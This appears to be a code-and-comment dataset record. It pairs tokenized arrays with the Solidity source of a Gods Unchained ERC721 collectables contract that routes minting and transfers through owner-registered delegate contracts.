0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
22038,
12,
11890,
28,
1365,
16,
2254,
28,
498,
16,
9251,
3778,
389,
7858,
13,
3238,
16618,
1135,
12,
11890,
28,
13,
288,
203,
3639,
261,
11890,
28,
293,
21,
16,
2254,
28,
293,
22,
13,
273,
1416,
12,
3085,
16,
498,
16,
389,
7858,
1769,
203,
3639,
261,
11890,
28,
293,
5340,
16,
2254,
28,
293,
3787,
13,
273,
1416,
12,
84,
22,
16,
498,
397,
404,
16,
389,
7858,
1769,
203,
3639,
327,
2691,
12,
84,
21,
16,
293,
3787,
16,
389,
7858,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
library Address {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param addr address to check
* @return whether the target address is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
function setOwner(address _owner) public onlyOwner {
owner = _owner;
}
function getOwner() public view returns (address) {
return owner;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library Strings {
// via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function uint2str(uint i) internal pure returns (string) {
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
}
interface IERC165 {
/**
* @notice Query if a contract implements an interface
* @param _interfaceId The interface identifier, as specified in ERC-165
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas.
*/
function supportsInterface(bytes4 _interfaceId) external view returns (bool);
}
contract IERC721Receiver {
/**
* @dev Magic value to be returned upon successful reception of an NFT
* Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`,
* which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
*/
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safetransfer`. This function MAY throw to revert and reject the
* transfer. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the contract address is always the message sender.
* @param _operator The address which called `safeTransferFrom` function
* @param _from The address which previously owned the token
* @param _tokenId The NFT identifier which is being transfered
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes memory _data
)
public
returns(bytes4);
}
contract IERC721Holder is IERC721Receiver {
function onERC721Received(address, address, uint256, bytes) public returns(bytes4) {
return ERC721_RECEIVED;
}
}
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
contract IERC721Enumerable is IERC721 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract IERC721Metadata is IERC721 {
function name() external view returns (string memory _name);
function symbol() external view returns (string memory _symbol);
function tokenURI(uint256 _tokenId) public view returns (string memory);
}
contract SupportsInterfaceWithLookup is IERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
/**
* 0x01ffc9a7 ===
* bytes4(keccak256('supportsInterface(bytes4)'))
*/
/**
* @dev a mapping of interface id to whether or not it's supported
*/
mapping(bytes4 => bool) internal supportedInterfaces;
/**
* @dev A contract implementing SupportsInterfaceWithLookup
* implement ERC165 itself
*/
constructor() public {
_registerInterface(InterfaceId_ERC165);
}
/**
* @dev implement supportsInterface(bytes4) using a lookup table
*/
function supportsInterface(bytes4 _interfaceId) external view returns (bool) {
return supportedInterfaces[_interfaceId];
}
/**
* @dev private method for registering an interface
*/
function _registerInterface(bytes4 _interfaceId) internal {
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract Delegate {
function mint(address _sender, address _to) public returns (bool);
function approve(address _sender, address _to, uint256 _tokenId) public returns (bool);
function setApprovalForAll(address _sender, address _operator, bool _approved) public returns (bool);
function transferFrom(address _sender, address _from, address _to, uint256 _tokenId) public returns (bool);
function safeTransferFrom(address _sender, address _from, address _to, uint256 _tokenId) public returns (bool);
function safeTransferFrom(address _sender, address _from, address _to, uint256 _tokenId, bytes memory _data) public returns (bool);
}
/**
* @title ERC165
* @author Matt Condon (@shrugs)
* @dev Implements ERC165 using a lookup table.
*/
contract ERC165 is IERC165 {
bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7;
/**
* 0x01ffc9a7 ===
* bytes4(keccak256('supportsInterface(bytes4)'))
*/
/**
* @dev a mapping of interface id to whether or not it's supported
*/
mapping(bytes4 => bool) private _supportedInterfaces;
/**
* @dev A contract implementing SupportsInterfaceWithLookup
* implement ERC165 itself
*/
constructor()
internal
{
_registerInterface(_InterfaceId_ERC165);
}
/**
* @dev implement supportsInterface(bytes4) using a lookup table
*/
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
/**
* @dev internal method for registering an interface
*/
function _registerInterface(bytes4 interfaceId)
internal
{
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
bytes4 private constant _InterfaceId_ERC721 = 0x80ac58cd;
/*
* 0x80ac58cd ===
* bytes4(keccak256('balanceOf(address)')) ^
* bytes4(keccak256('ownerOf(uint256)')) ^
* bytes4(keccak256('approve(address,uint256)')) ^
* bytes4(keccak256('getApproved(uint256)')) ^
* bytes4(keccak256('setApprovalForAll(address,bool)')) ^
* bytes4(keccak256('isApprovedForAll(address,address)')) ^
* bytes4(keccak256('transferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)'))
*/
constructor()
public
{
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_InterfaceId_ERC721);
}
/**
* @dev Gets the balance of the specified address
* @param owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0));
return _ownedTokensCount[owner];
}
/**
* @dev Gets the owner of the specified token ID
* @param tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenId uint256 ID of the token to be approved
*/
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId));
return _tokenApprovals[tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf
* @param to operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender);
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param owner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(
address owner,
address operator
)
public
view
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* Requires the msg sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function transferFrom(
address from,
address to,
uint256 tokenId
)
public
{
require(_isApprovedOrOwner(msg.sender, tokenId));
require(to != address(0));
_clearApproval(from, tokenId);
_removeTokenFrom(from, tokenId);
_addTokenTo(to, tokenId);
emit Transfer(from, to, tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
*
* Requires the msg sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
)
public
{
// solium-disable-next-line arg-overflow
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
)
public
{
transferFrom(from, to, tokenId);
// solium-disable-next-line arg-overflow
require(_checkAndCallSafeTransfer(from, to, tokenId, _data));
}
/**
* @dev Returns whether the specified token exists
* @param tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(
address spender,
uint256 tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (
spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender)
);
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address to, uint256 tokenId) internal {
require(to != address(0));
_addTokenTo(to, tokenId);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
_clearApproval(owner, tokenId);
_removeTokenFrom(owner, tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Internal function to clear current approval of a given token ID
* Reverts if the given address is not indeed the owner of the token
* @param owner owner of the token
* @param tokenId uint256 ID of the token to be transferred
*/
function _clearApproval(address owner, uint256 tokenId) internal {
require(ownerOf(tokenId) == owner);
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenTo(address to, uint256 tokenId) internal {
require(_tokenOwner[tokenId] == address(0));
_tokenOwner[tokenId] = to;
_ownedTokensCount[to] = _ownedTokensCount[to].add(1);
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFrom(address from, uint256 tokenId) internal {
require(ownerOf(tokenId) == from);
_ownedTokensCount[from] = _ownedTokensCount[from].sub(1);
_tokenOwner[tokenId] = address(0);
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* The call is not executed if the target address is not a contract
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallSafeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
)
internal
returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(
msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
}
contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
bytes4 private constant _InterfaceId_ERC721Enumerable = 0x780e9d63;
/**
* 0x780e9d63 ===
* bytes4(keccak256('totalSupply()')) ^
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^
* bytes4(keccak256('tokenByIndex(uint256)'))
*/
/**
* @dev Constructor function
*/
constructor() public {
// register the supported interface to conform to ERC721 via ERC165
_registerInterface(_InterfaceId_ERC721Enumerable);
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param owner address owning the tokens list to be accessed
* @param index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(
address owner,
uint256 index
)
public
view
returns (uint256)
{
require(index < balanceOf(owner));
return _ownedTokens[owner][index];
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens
* @param index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply());
return _allTokens[index];
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenTo(address to, uint256 tokenId) internal {
super._addTokenTo(to, tokenId);
uint256 length = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFrom(address from, uint256 tokenId) internal {
super._removeTokenFrom(from, tokenId);
// To prevent a gap in the array, we store the last token in the index of the token to delete, and
// then delete the last slot.
uint256 tokenIndex = _ownedTokensIndex[tokenId];
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 lastToken = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastToken;
// This also deletes the contents at the last position of the array
_ownedTokens[from].length--;
// Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to
// be zero. Then we can make sure that we will remove tokenId from the ownedTokens list since we are first swapping
// the lastToken to the first position, and then dropping the element placed in the last position of the list
_ownedTokensIndex[tokenId] = 0;
_ownedTokensIndex[lastToken] = tokenIndex;
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param to address the beneficiary that will own the minted token
* @param tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Reorg all tokens array
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 lastToken = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastToken;
_allTokens[lastTokenIndex] = 0;
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
_allTokensIndex[lastToken] = tokenIndex;
}
}
contract ERC721Metadata is ERC165, ERC721, IERC721Metadata {
// Token name
string internal _name;
// Token symbol
string internal _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
/**
* 0x5b5e139f ===
* bytes4(keccak256('name()')) ^
* bytes4(keccak256('symbol()')) ^
* bytes4(keccak256('tokenURI(uint256)'))
*/
/**
* @dev Constructor function
*/
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721Metadata);
}
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns an URI for a given token ID
* Throws if the token ID does not exist. May return an empty string.
* @param tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 tokenId) public view returns (string memory) {
require(_exists(tokenId));
return _tokenURIs[tokenId];
}
/**
* @dev Internal function to set the token URI for a given token
* Reverts if the token ID does not exist
* @param tokenId uint256 ID of the token to set its URI
* @param uri string URI to assign
*/
function _setTokenURI(uint256 tokenId, string memory uri) internal {
require(_exists(tokenId));
_tokenURIs[tokenId] = uri;
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
contract ERC721Full is ERC721, ERC721Enumerable, ERC721Metadata {
constructor(string memory name, string memory symbol) ERC721Metadata(name, symbol) public {
}
}
contract Collectables is ERC721Full("GU Collectable", "TRINKET"), Ownable {
using Strings for string;
// delegate item specific storage/logic to other contracts
// one main contract manages transfers etc
mapping(uint32 => address) public delegates;
// use uint32s instead of addresses to reduce the storage size needed
// individual token properties should be stored in the delegate contract
uint32[] public collectables;
uint public delegateCount;
event DelegateAdded(address indexed delegate, uint32 indexed delegateID);
function addDelegate(address delegate) public onlyOwner {
uint32 delegateID = uint32(delegateCount++);
// should never happen, but check anyway
require(delegates[delegateID] == address(0), "delegate is already set for collectable type");
delegates[delegateID] = delegate;
emit DelegateAdded(delegate, delegateID);
}
function mint(uint32 delegateID, address to) public returns (uint) {
Delegate delegate = getDelegate(delegateID);
require(delegate.mint(msg.sender, to), "delegate could not mint token");
uint id = collectables.push(delegateID) - 1;
super._mint(to, id);
return id;
}
function transferFrom(address from, address to, uint256 tokenId) public {
Delegate delegate = getTokenDelegate(tokenId);
require(delegate.transferFrom(msg.sender, from, to, tokenId), "could not transfer token");
super.transferFrom(from, to, tokenId);
}
function approve(address to, uint256 tokenId) public {
Delegate delegate = getTokenDelegate(tokenId);
require(delegate.approve(msg.sender, to, tokenId), "could not approve token");
super.approve(to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes data) public {
Delegate delegate = getTokenDelegate(tokenId);
require(delegate.safeTransferFrom(msg.sender, from, to, tokenId, data), "could not safe transfer token");
super.safeTransferFrom(from, to, tokenId, data);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public {
Delegate delegate = getTokenDelegate(tokenId);
require(delegate.safeTransferFrom(msg.sender, from, to, tokenId), "could not safe transfer token");
super.safeTransferFrom(from, to, tokenId);
}
function getTokenDelegate(uint id) public view returns (Delegate) {
address d = delegates[collectables[id]];
require(d != address(0), "invalid delegate");
return Delegate(d);
}
function getDelegate(uint32 id) public view returns (Delegate) {
address d = delegates[id];
require(d != address(0), "invalid delegate");
return Delegate(d);
}
string public constant tokenMetadataBaseURI = "https://api.godsunchained.com/collectable/";
function tokenURI(uint256 _tokenId) public view returns (string memory) {
require(_exists(_tokenId), "token doesn't exist");
return Strings.strConcat(
tokenMetadataBaseURI,
Strings.uint2str(_tokenId)
);
}
} | delegate item specific storage/logic to other contracts one main contract manages transfers etc use uint32s instead of addresses to reduce the storage size needed individual token properties should be stored in the delegate contract | contract Collectables is ERC721Full("GU Collectable", "TRINKET"), Ownable {
using Strings for string;
mapping(uint32 => address) public delegates;
uint32[] public collectables;
uint public delegateCount;
event DelegateAdded(address indexed delegate, uint32 indexed delegateID);
function addDelegate(address delegate) public onlyOwner {
uint32 delegateID = uint32(delegateCount++);
require(delegates[delegateID] == address(0), "delegate is already set for collectable type");
delegates[delegateID] = delegate;
emit DelegateAdded(delegate, delegateID);
}
function mint(uint32 delegateID, address to) public returns (uint) {
Delegate delegate = getDelegate(delegateID);
require(delegate.mint(msg.sender, to), "delegate could not mint token");
uint id = collectables.push(delegateID) - 1;
super._mint(to, id);
return id;
}
function transferFrom(address from, address to, uint256 tokenId) public {
Delegate delegate = getTokenDelegate(tokenId);
require(delegate.transferFrom(msg.sender, from, to, tokenId), "could not transfer token");
super.transferFrom(from, to, tokenId);
}
function approve(address to, uint256 tokenId) public {
Delegate delegate = getTokenDelegate(tokenId);
require(delegate.approve(msg.sender, to, tokenId), "could not approve token");
super.approve(to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes data) public {
Delegate delegate = getTokenDelegate(tokenId);
require(delegate.safeTransferFrom(msg.sender, from, to, tokenId, data), "could not safe transfer token");
super.safeTransferFrom(from, to, tokenId, data);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public {
Delegate delegate = getTokenDelegate(tokenId);
require(delegate.safeTransferFrom(msg.sender, from, to, tokenId), "could not safe transfer token");
super.safeTransferFrom(from, to, tokenId);
}
function getTokenDelegate(uint id) public view returns (Delegate) {
address d = delegates[collectables[id]];
require(d != address(0), "invalid delegate");
return Delegate(d);
}
function getDelegate(uint32 id) public view returns (Delegate) {
address d = delegates[id];
require(d != address(0), "invalid delegate");
return Delegate(d);
}
function tokenURI(uint256 _tokenId) public view returns (string memory) {
require(_exists(_tokenId), "token doesn't exist");
return Strings.strConcat(
tokenMetadataBaseURI,
Strings.uint2str(_tokenId)
);
}
} | 15,834,556 | [
1,
22216,
761,
2923,
2502,
19,
28339,
358,
1308,
20092,
1245,
2774,
6835,
20754,
281,
29375,
5527,
999,
2254,
1578,
87,
3560,
434,
6138,
358,
5459,
326,
2502,
963,
3577,
7327,
1147,
1790,
1410,
506,
4041,
316,
326,
7152,
6835,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
9302,
1538,
353,
4232,
39,
27,
5340,
5080,
2932,
30673,
9302,
429,
3113,
315,
4349,
8476,
1584,
6,
3631,
14223,
6914,
288,
203,
203,
565,
1450,
8139,
364,
533,
31,
203,
203,
565,
2874,
12,
11890,
1578,
516,
1758,
13,
1071,
22310,
31,
203,
203,
565,
2254,
1578,
8526,
1071,
3274,
1538,
31,
203,
565,
2254,
1071,
7152,
1380,
31,
203,
203,
565,
871,
27687,
8602,
12,
2867,
8808,
7152,
16,
2254,
1578,
